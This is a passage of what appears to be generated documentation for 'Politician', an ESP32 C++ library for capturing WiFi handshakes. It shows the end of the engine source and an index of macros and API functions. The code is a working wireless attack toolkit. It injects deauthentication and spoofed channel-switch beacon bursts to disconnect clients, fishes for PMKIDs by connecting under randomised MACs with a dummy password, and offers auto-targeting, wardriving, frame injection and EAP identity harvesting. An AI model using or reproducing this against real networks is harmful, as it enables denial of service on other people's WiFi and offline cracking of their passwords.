2625 _log("[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.deauth_reason_cycling ? "Fuzzing" : "Static", _fishChannel, (da[0] == 0xFF) ? "broadcast" : "unicast");
2626}
2627
2628void Politician::_markCapturedSsidGroup(const char *ssid, uint8_t ssid_len) {
2629 if (ssid_len == 0) return;
2630 for (int i = 0; i < MAX_AP_CACHE; i++) {
2631 if (!_apCache[i].flags.active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
2632 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
2633 }
2634}
2635
2636void Politician::_markCaptured(const uint8_t *bssid) {
2637 if (_isCaptured(bssid)) return;
2638 if (_capturedCount >= MAX_CAPTURED) return; // list full — never overwrite existing entries
2639
2640 int pos = 0;
2641 while (pos < _capturedCount && memcmp(_captured[pos], bssid, 6) < 0) pos++;
2642
2643 if (pos < _capturedCount) {
2644 memmove(&_captured[pos + 1], &_captured[pos], (_capturedCount - pos) * 6);
2645 }
2646 memcpy(_captured[pos], bssid, 6);
2647 _capturedCount++;
2648
2649 _log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
2650}
2651
2652void Politician::_expireSessions(uint32_t timeoutMs) {
2653 uint32_t now = millis();
2654 for (int i = 0; i < MAX_SESSIONS; i++) if (_sessions[i].flags.active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].flags.active = false;
2655}
2656
2657const char* Politician::getVendor(const uint8_t *mac) {
2658#ifndef POLITICIAN_NO_DB
2659 int left = 0, right = fingerprint::_FP_OUI_DB_COUNT - 1;
2660 while (left <= right) {
2661 int mid = left + (right - left) / 2;
2662 int cmp = memcmp(fingerprint::_FP_OUI_DB[mid].oui, mac, 3);
2664 if (cmp < 0) left = mid + 1;
2665 else right = mid - 1;
2666 }
2667#endif
2668 return "";
2669}
2670
2671void Politician::_randomizeMac() {
2672 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
2673 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
2674 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
2675 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
2676 _log("[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
2677}
2678
2679void Politician::_startFishing(const uint8_t *bssid, const char *ssid, uint8_t ssid_len, uint8_t channel) {
2680 if (_fishState != FISH_IDLE) return;
2681 for (int i = 0; i < MAX_AP_CACHE; i++) {
2682 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0 && _apCache[i].flags.ft_capable)
2683 _log("[Fish] Note: AP advertises FT AKM — PMKID may be FT-derived and require FT-aware cracking\n");
2684 }
2685 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
2686 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
2687 memcpy(sta_cfg.sta.password, "WiFighter00", 11); sta_cfg.sta.bssid_set = true; memcpy(sta_cfg.sta.bssid, bssid, 6);
2688 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
2689 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] = '\0';
2690 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs = millis();
2691 for (int i = 0; i < MAX_AP_CACHE; i++) {
2692 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2693 _apCache[i].last_attack_ms = _fishStartMs;
2694 break;
2695 }
2696 }
2697 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged = false; _fishAssocLogged = false;
2698 _probeLocked = true; _probeLockEndMs = millis() + _cfg.fish_timeout_ms;
2699 _log("[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
2700}
2701
2702void Politician::_sendCsaBurst() {
2703 uint8_t frame[100]; int p = 0;
2704 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
2705 for (int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
2706 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
2707 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
2708 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
2709 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
2710 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
2711 for (int i = 0; i < _cfg.csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); delay(15); }
2712 _log("[CSA] Sent burst on ch%d\n", _fishChannel);
2713}
2714
2715void Politician::_processFishing() {
2716 if (_fishState == FISH_IDLE) return;
2717 if (_fishState == FISH_CSA_WAIT) {
2718 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
2719
2720 if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK && _csaFallbackMs > 0 && millis() >= _csaFallbackMs) {
2721 _csaFallbackMs = 0;
2722 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
2723 _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
2724 _log("[Attack] CSA fallback triggered — sending Deauth burst\n");
2725 }
2726
2727 uint8_t effMask = _getAttackMask(_fishBssid);
2728 if (!_csaSecondBurstSent && (millis() - _fishStartMs > 2000)) {
2729 _csaSecondBurstSent = true;
2730 if (effMask & ATTACK_CSA) _sendCsaBurst();
2731 static const uint8_t zero_mac[6] = {};
2732 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
2733 const uint8_t *known_sta2 = (memcmp(_fishSta, zero_mac, 6) != 0) ? _fishSta : nullptr;
2734 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
2735 }
2736 _log("[CSA] Burst 2\n");
2737 }
2738 if (millis() >= _probeLockEndMs) {
2739 _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
2740 _stats.failed_csa++;
2741 _log("[CSA] Wait expired\n");
2742 if (_attackResultCb) {
2743 AttackResultRecord r; memset(&r, 0, sizeof(r));
2744 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2745 r.result = RESULT_CSA_EXPIRED; _attackResultCb(r);
2746 }
2747 if (_cfg.max_total_attempts > 0) {
2748 for (int i = 0; i < MAX_AP_CACHE; i++) {
2749 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2750 _apCache[i].last_attack_ms = millis();
2751 if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
2752 _markCaptured(_fishBssid);
2753 _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2754 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2755 }
2756 break;
2757 }
2758 }
2759 }
2760 if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
2761 }
2762 return;
2763 }
2764 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
2765 if (millis() >= _probeLockEndMs) {
2766 esp_wifi_disconnect();
2767 if (_fishRetry < _cfg.fish_max_retries) {
2768 _fishRetry++; _log("[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
2769 _probeLockEndMs = millis() + _cfg.fish_timeout_ms; _fishAuthLogged = false; _fishAssocLogged = false; esp_wifi_connect(); return;
2770 }
2771 bool do_csa = !!(_attackMask & ATTACK_CSA);
2772 if (do_csa) {
2773 // Skip CSA fallback for HE/VHT networks with PMF required — the client will
2774 // discard the injected CSA beacon (MIC-protected management frame).
2775 for (int i = 0; i < MAX_AP_CACHE; i++) {
2776 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2777 if (_apCache[i].flags.pmf_required &&
2778 (_apCache[i].flags.is_he || _apCache[i].flags.is_vht)) {
2779 _log("[Attack] PMF+%s — CSA fallback skipped\n",
2780 _apCache[i].flags.is_he ? "HE" : "VHT");
2781 do_csa = false;
2782 }
2783 break;
2784 }
2785 }
2786 }
2787 if (do_csa) {
2788 _log("[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
2789 for (int i = 0; i < MAX_AP_CACHE; i++) {
2790 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2791 _apCache[i].last_attack_ms = millis();
2792 break;
2793 }
2794 }
2795 memset(_fishSta, 0, 6); // No known STA from PMKID path
2796 _csaFallbackMs = 0;
2797 _sendCsaBurst();
2798 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
2799 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count);
2800 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
2801 if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
2802 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
2803 _csaFallbackMs = millis() + 1000;
2804 } else if (_attackMask & ATTACK_DEAUTH) {
2805 _sendDeauthBurst(_cfg.csa_deauth_count);
2806 }
2807 }
2808 _fishState = FISH_CSA_WAIT; _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms; _csaSecondBurstSent = false;
2809 } else {
2810 _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
2811 _stats.failed_pmkid++;
2812 _log("[Fish] Exhausted\n");
2813 if (_attackResultCb) {
2814 AttackResultRecord r; memset(&r, 0, sizeof(r));
2815 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2816 r.result = RESULT_PMKID_EXHAUSTED; _attackResultCb(r);
2817 }
2818 if (_cfg.max_total_attempts > 0) {
2819 for (int i = 0; i < MAX_AP_CACHE; i++) {
2820 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2821 if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
2822 _markCaptured(_fishBssid);
2823 _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2824 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2825 }
2826 break;
2827 }
2828 }
2829 }
2830 if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
2831 }
2832 }
2833}
2834
2835} // namespace politician
#define CAP_EAPOL_HALF
#define ENC_WPA2
#define LOG_FILTER_PROBE_REQ
#define ATTACK_PMKID
#define ENC_OPEN
#define CAP_SAE
#define LOG_FILTER_BEACONS
#define ATTACK_DEAUTH
#define LOG_FILTER_HANDSHAKES
#define ENC_WPA
#define ATTACK_STIMULATE
#define LOG_FILTER_PROBES
#define CAP_EAPOL_GROUP
#define ATTACK_PASSIVE
#define ENC_ENT
#define ENC_OWE
#define CAP_EAPOL_CSA
#define CAP_EAPOL
#define LOG_FILTER_MGMT_DISRUPT
#define ATTACK_CSA
#define ATTACK_ALL
#define ATTACK_BTM
#define CAP_PMKID
#define EAPOL_KEY_DATA_LEN
Definition Politician.h:88
#define FC_FROMDS_MASK
Definition Politician.h:61
#define MGMT_SUB_PROBE_RESP
Definition Politician.h:70
#define MGMT_SUB_BEACON
Definition Politician.h:71
#define MGMT_SUB_DEAUTH
Definition Politician.h:74
#define MGMT_SUB_ASSOC_RESP
Definition Politician.h:68
#define EAPOL_MIN_FRAME_LEN
Definition Politician.h:81
#define MGMT_SUB_ASSOC_REQ
Definition Politician.h:67
#define EAPOL_ETHERTYPE_HI
Definition Politician.h:78
#define POLITICIAN_MAX_CHANNELS
Definition Politician.h:26
#define EAPOL_ETHERTYPE_LO
Definition Politician.h:79
#define FC_TYPE_MASK
Definition Politician.h:58
#define EAPOL_KEY_NONCE
Definition Politician.h:86
#define EAPOL_KEY_INFO
Definition Politician.h:84
#define KEYINFO_SECURE
Definition Politician.h:95
#define EAPOL_KEY_MIC
Definition Politician.h:87
#define FC_TYPE_DATA
Definition Politician.h:64
#define EAPOL_KEY_DESC_TYPE
Definition Politician.h:83
#define EAPOL_LLC_SIZE
Definition Politician.h:80
#define KEYINFO_PAIRWISE
Definition Politician.h:92
#define KEYINFO_ACK
Definition Politician.h:93
#define KEYINFO_MIC
Definition Politician.h:94
#define EAPOL_REPLAY_COUNTER
Definition Politician.h:85
#define FC_SUBTYPE_MASK
Definition Politician.h:59
#define POLITICIAN_MAX_INSTANCES
Maximum number of concurrent Politician instances that can be active at once.
Definition Politician.h:38
#define MGMT_SUB_DISASSOC
Definition Politician.h:73
#define EAPOL_KEY_DATA
Definition Politician.h:89
#define FC_TYPE_MGMT
Definition Politician.h:62
#define FC_TODS_MASK
Definition Politician.h:60
#define FC_ORDER_MASK
Definition Politician.h:65
#define MGMT_SUB_AUTH
Definition Politician.h:72
#define MGMT_SUB_PROBE_REQ
Definition Politician.h:69
#define KEYINFO_INSTALL
Definition Politician.h:96
The core WiFi handshake capturing engine.
Definition Politician.h:103
void stop()
Full engine teardown.
Error lockChannel(uint8_t ch)
Stops hopping and locks the radio to a specific channel.
void clearCapturedList()
Clears the captured BSSID list.
void markCaptured(const uint8_t *bssid)
Manually adds a BSSID to the "already captured" list to skip it.
static const char * getVendor(const uint8_t *mac)
Looks up the vendor name for a given MAC address (OUI).
void setAttackMaskForSsid(const char *ssid, uint8_t mask, bool substring=false)
Sets an attack mask for all APs whose SSID matches the given string.
Error injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms=0, bool wait_for_channel=false)
Injects a custom 802.11 frame.
bool getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const
Reads a client MAC from the per-AP client table.
void clearAttackMaskOverrides()
Clears all per-BSSID attack mask overrides.
void setAutoTarget(bool enable)
Continuously locks onto the strongest uncaptured AP in the cache.
int getClientCount(const uint8_t *bssid) const
Returns the number of unique clients seen associated to a given AP.
void tick()
Main worker method.
Error setTargetBySsid(const char *ssid)
Searches the AP cache by SSID and locks onto the strongest match.
void setActive(bool active)
Enables or disables frame processing.
void setChannelBands(bool ghz24, bool ghz5)
Restricts hopping to 2.4GHz, 5GHz, or both bands.
void forEachAp(void(*cb)(const ApRecord &ap, void *ctx), void *ctx=nullptr) const
Iterates all active APs in the cache, calling cb for each one.
void stopHopping()
Stops autonomous channel hopping and goes idle.
void setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask)
Overrides the attack mask for a specific BSSID.
void setIgnoreList(const uint8_t(*bssids)[6], uint8_t count)
Sets a list of BSSIDs that should always be ignored by the engine.
Error setTarget(const uint8_t *bssid, uint8_t channel)
Focuses the engine on a single BSSID.
Error setChannel(uint8_t ch)
Manually sets the WiFi radio to a specific channel.
bool getApByBssid(const uint8_t *bssid, ApRecord &out) const
Looks up an AP in the discovery cache by BSSID.
void clearTarget()
Clears the specific target and resumes autonomous wardriving.
uint8_t setAutoChannelList(uint8_t topN=13)
Feeds the top-N most active channels (from getChannelsSortedByActivity) into setChannelList(),...
uint8_t getChannelsSortedByActivity(uint8_t *out, uint8_t count) const
Returns the N most active channels sorted by descending frame count.
bool getAp(int idx, ApRecord &out) const
Reads an AP from the discovery cache by index.
Error begin(const Config &cfg=Config())
Initializes the WiFi driver in promiscuous mode.
void startHopping(uint16_t dwellMs=0)
Starts autonomous channel hopping.
void setAttackMask(uint8_t mask)
Configures which attack techniques are enabled globally.
void setChannelList(const uint8_t *channels, uint8_t count)
Restricts hopping to a specific list of channels.
static const BuiltinOui _FP_OUI_DB[]
static const char *const _FP_VENDORS[]
char vendor[32]
OUI vendor string; empty if POLITICIAN_NO_DB is defined.
static const uint8_t CIPHER_UNKNOWN
uint16_t channel_frames[200]
int8_t rssi
Signal strength at time of observation (dBm)
uint8_t sta[6]
Client (station) MAC address.
const char * soft_ap_ssid
uint32_t probe_hidden_interval_ms
uint32_t first_seen_ms
millis() when this client was first seen on this BSSID
uint32_t last_seen_ms
millis() of the most recent frame from this client
uint16_t beacon_count
Number of beacons observed from this AP in the current session.
static const uint8_t EAP_METHOD_IDENTITY
EAP Identity (always 0x01 for harvested records)
bool rand_mac
True if the locally administered bit is set (MAC randomization)
static const uint8_t CIPHER_TKIP
TKIP (00-0F-AC:2) — legacy, crackable offline.
static const uint8_t CIPHER_CCMP
CCMP/AES (00-0F-AC:4) — current standard.
uint32_t last_attack_ms
millis() of the most recent attack initiation (0 = never attacked)
static const uint8_t CHANNEL_5GHZ_COMMON[]
uint8_t bssid[6]
BSSID of the AP this client is associated with.
volatile uint32_t dropped
@ ERR_MAX_INSTANCES
Returned by begin() when all POLITICIAN_MAX_INSTANCES slots are occupied.
uint8_t capture_count
Number of successful handshake/PMKID captures for this BSSID.
static bool isValidChannel(uint8_t ch)
Snapshot of a discovered Access Point from the internal cache.
Snapshot of a client station observed associated with an AP.
Configuration for the Politician engine.
void delay(uint32_t ms)
uint32_t millis()